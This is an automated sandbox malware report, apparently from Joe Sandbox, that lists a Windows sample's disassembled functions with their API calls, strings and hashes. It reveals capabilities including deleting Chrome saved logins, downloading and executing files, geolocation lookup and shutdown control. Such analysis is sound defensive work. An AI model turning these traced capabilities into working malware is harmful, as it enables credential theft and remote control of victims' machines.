                                                        Function 00414005 Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 382registrylibraryloaderCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • RegCreateKeyExW.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 004140D8
                                                        • RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 004140E4
                                                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                        • LoadLibraryA.KERNEL32(Shlwapi.dll,SHDeleteKeyW,00000000,00000001), ref: 004142A5
                                                        • GetProcAddress.KERNEL32(00000000), ref: 004142AC
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: AddressCloseCreateLibraryLoadProcsend
                                                        • String ID: SHDeleteKeyW$Shlwapi.dll
                                                        • API String ID: 2127411465-314212984
                                                        • Opcode ID: 79fdb5d939c4fda9ab65d5331e207ccd9125177c2b07759bb8af03fe36f6d8de
                                                        • Instruction ID: 51cedef5a77654bf04fe1bae55708f30d4330cefe0c145b830acf249c6506b6e
                                                        • Opcode Fuzzy Hash: 79fdb5d939c4fda9ab65d5331e207ccd9125177c2b07759bb8af03fe36f6d8de
                                                        • Instruction Fuzzy Hash: 16B1F671A0430066CA14FB76DC579AF36A85F91788F40053FB906771E2EE7D8A48C6DA
                                                        Function 00449210 Relevance: 10.9, APIs: 7, Instructions: 370timeCOMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • _free.LIBCMT ref: 00449292
                                                        • _free.LIBCMT ref: 004492B6
                                                        • _free.LIBCMT ref: 0044943D
                                                        • GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045F244), ref: 0044944F
                                                        • WideCharToMultiByte.KERNEL32(00000000,00000000,00472764,000000FF,00000000,0000003F,00000000,?,?), ref: 004494C7
                                                        • WideCharToMultiByte.KERNEL32(00000000,00000000,004727B8,000000FF,?,0000003F,00000000,?), ref: 004494F4
                                                        • _free.LIBCMT ref: 00449609
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: _free$ByteCharMultiWide$InformationTimeZone
                                                        • String ID:
                                                        • API String ID: 314583886-0
                                                        • Opcode ID: 99b9f95825b3d3947f98974b62c5657870841952fc290d3d865075dfb712b2e8
                                                        • Instruction ID: 020e1479f4dc59d8c1013f8997fe2690be381d41ecad25fd3e4808fcef6bdafa
                                                        • Opcode Fuzzy Hash: 99b9f95825b3d3947f98974b62c5657870841952fc290d3d865075dfb712b2e8
                                                        • Instruction Fuzzy Hash: E0C13A71900205ABFB24DF79CD41AAF7BA8EF46314F2405AFE884D7291E7788D42D758
                                                        Function 004167EF Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 97libraryloadershutdownCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 0041798D: GetCurrentProcess.KERNEL32(00000028,?), ref: 0041799A
                                                          • Part of subcall function 0041798D: OpenProcessToken.ADVAPI32(00000000), ref: 004179A1
                                                          • Part of subcall function 0041798D: LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 004179B3
                                                          • Part of subcall function 0041798D: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 004179D2
                                                          • Part of subcall function 0041798D: GetLastError.KERNEL32 ref: 004179D8
                                                        • ExitWindowsEx.USER32(00000000,00000001), ref: 00416891
                                                        • LoadLibraryA.KERNEL32(PowrProf.dll,SetSuspendState,00000000,00000000,00000000), ref: 004168A6
                                                        • GetProcAddress.KERNEL32(00000000), ref: 004168AD
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ProcessToken$AddressAdjustCurrentErrorExitLastLibraryLoadLookupOpenPrivilegePrivilegesProcValueWindows
                                                        • String ID: !D@$PowrProf.dll$SetSuspendState
                                                        • API String ID: 1589313981-2876530381
                                                        • Opcode ID: ee499d4d47afde6cc3500bc760edfd9f3d73b5503f1d67301f657f5df503f6e6
                                                        • Instruction ID: 272f3f60014ab8f8f2fa2781f50e1ac7d9ab3f628c5d0f86ef79d7992e461550
                                                        • Opcode Fuzzy Hash: ee499d4d47afde6cc3500bc760edfd9f3d73b5503f1d67301f657f5df503f6e6
                                                        • Instruction Fuzzy Hash: D821B17060430166CA14FBB28856ABF36599F41388F41087FB501671D2EF3DD845C76E
                                                        Function 0041B411 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69networkfileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0041B438
                                                        • InternetOpenUrlW.WININET(00000000,http://geoplugin.net/json.gp,00000000,00000000,80000000,00000000), ref: 0041B44E
                                                        • InternetReadFile.WININET(00000000,00000000,0000FFFF,00000000), ref: 0041B467
                                                        • InternetCloseHandle.WININET(00000000), ref: 0041B4AD
                                                        • InternetCloseHandle.WININET(00000000), ref: 0041B4B0
                                                        Strings
                                                        • http://geoplugin.net/json.gp, xrefs: 0041B448
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Internet$CloseHandleOpen$FileRead
                                                        • String ID: http://geoplugin.net/json.gp
                                                        • API String ID: 3121278467-91888290
                                                        • Opcode ID: b01590e2803785cbe291e15456c0bc7acaef33a62877e88be574051367ac5976
                                                        • Instruction ID: e320c318363c88f1c040182635621d8729538b68a2f0080144892bf513bd3cc2
                                                        • Opcode Fuzzy Hash: b01590e2803785cbe291e15456c0bc7acaef33a62877e88be574051367ac5976
                                                        • Instruction Fuzzy Hash: 011198311053126BD224AB269C49EBF7F9CEF86765F10043EF945A2282DB689C44C6FA
                                                        Function 0040BA4D Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 49fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Login Data), ref: 0040BA89
                                                        • GetLastError.KERNEL32 ref: 0040BA93
                                                        Strings
                                                        • UserProfile, xrefs: 0040BA59
                                                        • [Chrome StoredLogins found, cleared!], xrefs: 0040BAB9
                                                        • \AppData\Local\Google\Chrome\User Data\Default\Login Data, xrefs: 0040BA54
                                                        • [Chrome StoredLogins not found], xrefs: 0040BAAD
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: DeleteErrorFileLast
                                                        • String ID: [Chrome StoredLogins found, cleared!]$[Chrome StoredLogins not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Login Data
                                                        • API String ID: 2018770650-1062637481
                                                        • Opcode ID: d6312413c91956911aeebdf781d371ca6745e6f6be180b60b08b021ffbe32e09
                                                        • Instruction ID: 0532e36a1aab116e50a9f1d1704ee325f44086adb43c50cfffb7bf5285f9a594
                                                        • Opcode Fuzzy Hash: d6312413c91956911aeebdf781d371ca6745e6f6be180b60b08b021ffbe32e09
                                                        • Instruction Fuzzy Hash: 76018F61A402056ACB04B7B6DC5B9BE7724A921704B50057FF806722D2FE7D49098BDE
                                                        Function 0041798D Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 33COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetCurrentProcess.KERNEL32(00000028,?), ref: 0041799A
                                                        • OpenProcessToken.ADVAPI32(00000000), ref: 004179A1
                                                        • LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 004179B3
                                                        • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 004179D2
                                                        • GetLastError.KERNEL32 ref: 004179D8
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ProcessToken$AdjustCurrentErrorLastLookupOpenPrivilegePrivilegesValue
                                                        • String ID: SeShutdownPrivilege
                                                        • API String ID: 3534403312-3733053543
                                                        • Opcode ID: d49d9c43419eaec1bfbdc5cb8a800583ef6843b46de48ba71f06d4aa9fea9060
                                                        • Instruction ID: 35ac2027e355ce869dd6e937a138cd84cb59798e299a7bc9dfe05b1c572390d3
                                                        • Opcode Fuzzy Hash: d49d9c43419eaec1bfbdc5cb8a800583ef6843b46de48ba71f06d4aa9fea9060
                                                        • Instruction Fuzzy Hash: 38F03A71802229FBDB10ABA1EC4DAEF7FBCEF05612F100465B909A1152D7348E04CBB5
                                                        Function 0040928E Relevance: 9.3, APIs: 6, Instructions: 293fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • __EH_prolog.LIBCMT ref: 00409293
                                                          • Part of subcall function 004048C8: connect.WS2_32(?,?,?), ref: 004048E0
                                                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                        • __CxxThrowException@8.LIBVCRUNTIME ref: 0040932F
                                                        • FindFirstFileW.KERNEL32(00000000,?,?,?,00000064), ref: 0040938D
                                                        • FindNextFileW.KERNEL32(00000000,?), ref: 004093E5
                                                        • FindClose.KERNEL32(00000000), ref: 004093FC
                                                          • Part of subcall function 00404E26: WaitForSingleObject.KERNEL32(?,000000FF,00000000,00474EF8,PkGNG,00000000,00474EF8,00404CA8,00000000,?,?,?,00474EF8,?), ref: 00404E38
                                                          • Part of subcall function 00404E26: SetEvent.KERNEL32(?), ref: 00404E43
                                                          • Part of subcall function 00404E26: CloseHandle.KERNELBASE(?), ref: 00404E4C
                                                        • FindClose.KERNEL32(00000000), ref: 004095F4
                                                          • Part of subcall function 00404AA1: WaitForSingleObject.KERNEL32(?,00000000,00401A45,?,?,00000004,?,?,00000004,00476B50,00474EE0,00000000), ref: 00404B47
                                                          • Part of subcall function 00404AA1: SetEvent.KERNEL32(?,?,?,00000004,?,?,00000004,00476B50,00474EE0,00000000,?,?,?,?,?,00401A45), ref: 00404B75
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Find$Close$EventFileObjectSingleWait$Exception@8FirstH_prologHandleNextThrowconnectsend
                                                        • String ID:
                                                        • API String ID: 1824512719-0
                                                        • Opcode ID: a810edf30761c72987c4cb58374515ca85b7de027ac2e2c904d565530509331a
                                                        • Instruction ID: 89df7f8b75d3b77417eb58d09b4f39b7dfb13bde992cfd9524fc7595df83f5be
                                                        • Opcode Fuzzy Hash: a810edf30761c72987c4cb58374515ca85b7de027ac2e2c904d565530509331a
                                                        • Instruction Fuzzy Hash: 34B19D32900109AACB14EBA1DD92AEDB379AF44314F50417FF506B60E2EF785F49CB59
                                                        Function 00446270 Relevance: 9.2, APIs: 2, Strings: 3, Instructions: 464COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID:
                                                        • String ID: FSE$FSE$PkGNG
                                                        • API String ID: 0-1266307253
                                                        • Opcode ID: 321144b451aceacc10be44255a5eb5313de52b8189587c3c0fdae4375c3dd106
                                                        • Instruction ID: f88ef0336175cd1615890b4a552d96ffb4623b3c947145a2eaf1ae153763923c
                                                        • Opcode Fuzzy Hash: 321144b451aceacc10be44255a5eb5313de52b8189587c3c0fdae4375c3dd106
                                                        • Instruction Fuzzy Hash: AA025D71E002199BEF14CFA9D8806AEFBF1FF49314F26816AD819E7384D734AD418B85
                                                        Function 0041AADB Relevance: 9.0, APIs: 6, Instructions: 39serviceCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • OpenSCManagerW.ADVAPI32(00000000,00000000,00000010,00000000,00000001,?,0041A731,00000000), ref: 0041AAE4
                                                        • OpenServiceW.ADVAPI32(00000000,00000000,00000010,?,0041A731,00000000), ref: 0041AAF9
                                                        • CloseServiceHandle.ADVAPI32(00000000,?,0041A731,00000000), ref: 0041AB06
                                                        • StartServiceW.ADVAPI32(00000000,00000000,00000000,?,0041A731,00000000), ref: 0041AB11
                                                        • CloseServiceHandle.ADVAPI32(00000000,?,0041A731,00000000), ref: 0041AB23
                                                        • CloseServiceHandle.ADVAPI32(00000000,?,0041A731,00000000), ref: 0041AB26
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Service$CloseHandle$Open$ManagerStart
                                                        • String ID:
                                                        • API String ID: 276877138-0
                                                        • Opcode ID: 9428b136f56b7ac5d2013585799c428180de648bb4d6702bc273cde58ba3a705
                                                        • Instruction ID: 14dbf03deabb1432b93a26d2ddf90514dbbc411f15d31c7908333a88c2a5d316
                                                        • Opcode Fuzzy Hash: 9428b136f56b7ac5d2013585799c428180de648bb4d6702bc273cde58ba3a705
                                                        • Instruction Fuzzy Hash: FEF0E971141225AFD2115B209C88DFF276CDF85B66B00082AF901921919B68CC45E579
                                                        Function 0040F7E2 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 88sleepCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00413584: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,00000000,00000000), ref: 004135A4
                                                          • Part of subcall function 00413584: RegQueryValueExA.ADVAPI32(00000000,?,00000000,?,?,?), ref: 004135C2
                                                          • Part of subcall function 00413584: RegCloseKey.ADVAPI32(00000000), ref: 004135CD
                                                        • Sleep.KERNEL32(00000BB8), ref: 0040F896
                                                        • ExitProcess.KERNEL32 ref: 0040F905
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: CloseExitOpenProcessQuerySleepValue
                                                        • String ID: 5.1.3 Pro$override$pth_unenc
                                                        • API String ID: 2281282204-1392497409
                                                        • Opcode ID: 0a9b0b8e18e6e63923395880d3987700b8c960eca4e781d2f00c21a7a482b044
                                                        • Instruction ID: d275b5d15c9ff05a0ec0da3c9587874d7690dc7fa5d0ec02d6e8a4ede61593ab
                                                        • Opcode Fuzzy Hash: 0a9b0b8e18e6e63923395880d3987700b8c960eca4e781d2f00c21a7a482b044
                                                        • Instruction Fuzzy Hash: 5921E171B0420127D6087676885B6AE399A9B80708F50453FF409672D7FF7C8E0483AF
                                                        Function 004524BC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • GetLocaleInfoW.KERNEL32(FDE8FE81,2000000B,00000000,00000002,00000000,?,?,?,004527DB,?,00000000), ref: 00452555
                                                        • GetLocaleInfoW.KERNEL32(FDE8FE81,20001004,00000000,00000002,00000000,?,?,?,004527DB,?,00000000), ref: 0045257E
                                                        • GetACP.KERNEL32(?,?,004527DB,?,00000000), ref: 00452593
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: InfoLocale
                                                        • String ID: ACP$OCP
                                                        • API String ID: 2299586839-711371036
                                                        • Opcode ID: 61c68c86ee519c97ea86d50e82dd2762e668b1fdc7e44e8e256cfbf4b452970f
                                                        • Instruction ID: 097c3b5166b2d36aca1cb621bb06e922528e2ea4561953c90108b9915aa2a338
                                                        • Opcode Fuzzy Hash: 61c68c86ee519c97ea86d50e82dd2762e668b1fdc7e44e8e256cfbf4b452970f
                                                        • Instruction Fuzzy Hash: 7E21F932600108B6D734CF14CA10A9B73A6EB16B53B564467ED09D7312F7B6DD44C398
                                                        Function 0041B539 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 25COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • FindResourceA.KERNEL32(SETTINGS,0000000A,00000000), ref: 0041B54A
                                                        • LoadResource.KERNEL32(00000000,?,?,0040F419,00000000), ref: 0041B55E
                                                        • LockResource.KERNEL32(00000000,?,?,0040F419,00000000), ref: 0041B565
                                                        • SizeofResource.KERNEL32(00000000,?,?,0040F419,00000000), ref: 0041B574
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Resource$FindLoadLockSizeof
                                                        • String ID: SETTINGS
                                                        • API String ID: 3473537107-594951305
                                                        • Opcode ID: a45aaf07b9511fe1cfb91064365b640b81f442c86eb18a115f7d7951e0b61df2
                                                        • Instruction ID: d04f7a3eece584ab18b37ce022e38df3785cd6d6757b7dd0dc659012c7d5cbc3
                                                        • Opcode Fuzzy Hash: a45aaf07b9511fe1cfb91064365b640b81f442c86eb18a115f7d7951e0b61df2
                                                        • Instruction Fuzzy Hash: 8EE01A76600B22EBEB211BB1AC4CD863E29F7C97637140075F90586231CB798840DA98
                                                        Function 004096A0 Relevance: 7.7, APIs: 5, Instructions: 222fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • __EH_prolog.LIBCMT ref: 004096A5
                                                        • FindFirstFileW.KERNEL32(00000000,?,00000000,00000000,?), ref: 0040971D
                                                        • FindNextFileW.KERNEL32(00000000,?), ref: 00409746
                                                        • FindClose.KERNEL32(000000FF,?,?,?,?,?,?), ref: 0040975D
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Find$File$CloseFirstH_prologNext
                                                        • String ID:
                                                        • API String ID: 1157919129-0
                                                        • Opcode ID: dd0421224294bb62472ab89505622d6763c67607e6c73e6d1c5958e8fabc376b
                                                        • Instruction ID: 8e52766585a78a9bd0f7e398a9017c7fe376444e683812dd136b20495b515571
                                                        • Opcode Fuzzy Hash: dd0421224294bb62472ab89505622d6763c67607e6c73e6d1c5958e8fabc376b
                                                        • Instruction Fuzzy Hash: 7F814C328001099BCB15EBA2DC969EDB378AF14318F10417FE506B71E2EF789E49CB58
                                                        Function 00408847 Relevance: 7.7, APIs: 5, Instructions: 186fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • __EH_prolog.LIBCMT ref: 0040884C
                                                        • FindFirstFileW.KERNEL32(00000000,?,00466618,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00408905
                                                        • __CxxThrowException@8.LIBVCRUNTIME ref: 0040892D
                                                        • FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040893A
                                                        • FindClose.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00408A50
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Find$File$CloseException@8FirstH_prologNextThrow
                                                        • String ID:
                                                        • API String ID: 1771804793-0
                                                        • Opcode ID: 3108295a3ea490f6f4279643bcf91a98a4e8460a72a47f708dfbc03d5f7be2ca
                                                        • Instruction ID: 0d5560aa06bbfb8d15084ed76e809f646cede1ce68103026aeaac9ba950e1e68
                                                        • Opcode Fuzzy Hash: 3108295a3ea490f6f4279643bcf91a98a4e8460a72a47f708dfbc03d5f7be2ca
                                                        • Instruction Fuzzy Hash: 9D517F72900209AACB04FB65DD569ED7778AF10308F50417FB906B71E2EF389B49CB89
                                                        Function 00406EEB Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 222filenetworkCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 00406FF7
                                                        • URLDownloadToFileW.URLMON(00000000,00000000,00000004,00000000,00000000), ref: 004070DB
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: DownloadExecuteFileShell
                                                        • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe$open
                                                        • API String ID: 2825088817-2881483049
                                                        • Opcode ID: 25f93c1eb8c7c2b3408b92261e90d72d92bad6cdb28d287bebca9ae006ad5217
                                                        • Instruction ID: 89f65c5a2840bfed21b3c91f130df949caec66636536da5e2ea9f2eef63816fc
                                                        • Opcode Fuzzy Hash: 25f93c1eb8c7c2b3408b92261e90d72d92bad6cdb28d287bebca9ae006ad5217
                                                        • Instruction Fuzzy Hash: 5261B371A0830166CA14FB76C8569BE37A59F81758F40093FB9427B2D3EE3C9905C69B
                                                        Function 00407877 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 86fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • FindFirstFileW.KERNEL32(00000000,?,?,?,00000000), ref: 00407892
                                                        • FindNextFileW.KERNEL32(00000000,?,?,?,00000000), ref: 0040795A
                                                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: FileFind$FirstNextsend
                                                        • String ID: XPG$XPG
                                                        • API String ID: 4113138495-1962359302
                                                        • Opcode ID: f1a52394f1a986f7dbfcef978ba307d27b987f60840b982f2ffdd03438d5e8df
                                                        • Instruction ID: fedc3c23448d2be437c2d68ef58725aa3c97e5c0e74d328490a6b39f64eed896
                                                        • Opcode Fuzzy Hash: f1a52394f1a986f7dbfcef978ba307d27b987f60840b982f2ffdd03438d5e8df
                                                        • Instruction Fuzzy Hash: 2D21A4315083015BC714FB61D895CEFB3ACAF90358F40493EF696620E1FF78AA098A5B
                                                        Function 0041CA73 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 83COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SystemParametersInfoW.USER32(00000014,00000000,00000000,00000003), ref: 0041CB68
                                                          • Part of subcall function 004137AA: RegCreateKeyA.ADVAPI32(80000001,Control Panel\Desktop,0046612C), ref: 004137B9
                                                          • Part of subcall function 004137AA: RegSetValueExA.ADVAPI32(0046612C,?,00000000,?,00000000,00000000,Control Panel\Desktop,?,?,0041CB42,WallpaperStyle,0046612C,00000001,00474EE0,00000000), ref: 004137E1
                                                          • Part of subcall function 004137AA: RegCloseKey.ADVAPI32(0046612C,?,?,0041CB42,WallpaperStyle,0046612C,00000001,00474EE0,00000000,?,00408798,00000001), ref: 004137EC
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: CloseCreateInfoParametersSystemValue
                                                        • String ID: Control Panel\Desktop$TileWallpaper$WallpaperStyle
                                                        • API String ID: 4127273184-3576401099
                                                        • Opcode ID: f5c8ef2c27851cf1013244d94d6a0450d36d3a4faca39a9ae70033779c708183
                                                        • Instruction ID: 8ac436d711b2fc3476497f69dc57c3b9a547a247a31514f467319d0910454585
                                                        • Opcode Fuzzy Hash: f5c8ef2c27851cf1013244d94d6a0450d36d3a4faca39a9ae70033779c708183
                                                        • Instruction Fuzzy Hash: D7118472BC425022E81831396D9BFBE28068343F61F54456BF6022A6CAE4CF6A9143CF
                                                        Function 00451D58 Relevance: 6.2, APIs: 4, Instructions: 236COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00448295: GetLastError.KERNEL32(?,0043F770,0043A875,0043F770,00474EF8,PkGNG,0043CE65,FF8BC35D,00474EF8,00474EF8), ref: 00448299
                                                          • Part of subcall function 00448295: _free.LIBCMT ref: 004482CC
                                                          • Part of subcall function 00448295: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044830D
                                                          • Part of subcall function 00448295: _abort.LIBCMT ref: 00448313
                                                        • IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00444AF4,?,?,?,?,?,?,00000004), ref: 00451E3A
                                                        • _wcschr.LIBVCRUNTIME ref: 00451ECA
                                                        • _wcschr.LIBVCRUNTIME ref: 00451ED8
                                                        • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,00444AF4,00000000,00444C14), ref: 00451F7B
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ErrorLast_wcschr$CodeInfoLocalePageValid_abort_free
                                                        • String ID:
                                                        • API String ID: 4212172061-0
                                                        • Opcode ID: 542ab58a55aa9f08c463a9389d0e41dfe4354c1e35855495671bf6e32f2bde7c
                                                        • Instruction ID: 2c98265d6c7a89d72caae9d33925a6d6107158c78f730362dcab12f0c71d6669
                                                        • Opcode Fuzzy Hash: 542ab58a55aa9f08c463a9389d0e41dfe4354c1e35855495671bf6e32f2bde7c
                                                        • Instruction Fuzzy Hash: 7F611976600606AAD714AB75CC42FBB73A8EF04306F14056FFD05DB292EB78E948C769
                                                        Function 0045201B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 63COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00448295: GetLastError.KERNEL32(?,0043F770,0043A875,0043F770,00474EF8,PkGNG,0043CE65,FF8BC35D,00474EF8,00474EF8), ref: 00448299
                                                          • Part of subcall function 00448295: _free.LIBCMT ref: 004482CC
                                                          • Part of subcall function 00448295: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044830D
                                                          • Part of subcall function 00448295: _abort.LIBCMT ref: 00448313
                                                        • EnumSystemLocalesW.KERNEL32(00452143,00000001,00000000,?,JD,?,00452770,00000000,?,?,?), ref: 0045208D
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ErrorLast$EnumLocalesSystem_abort_free
                                                        • String ID: p'E$JD
                                                        • API String ID: 1084509184-908320845
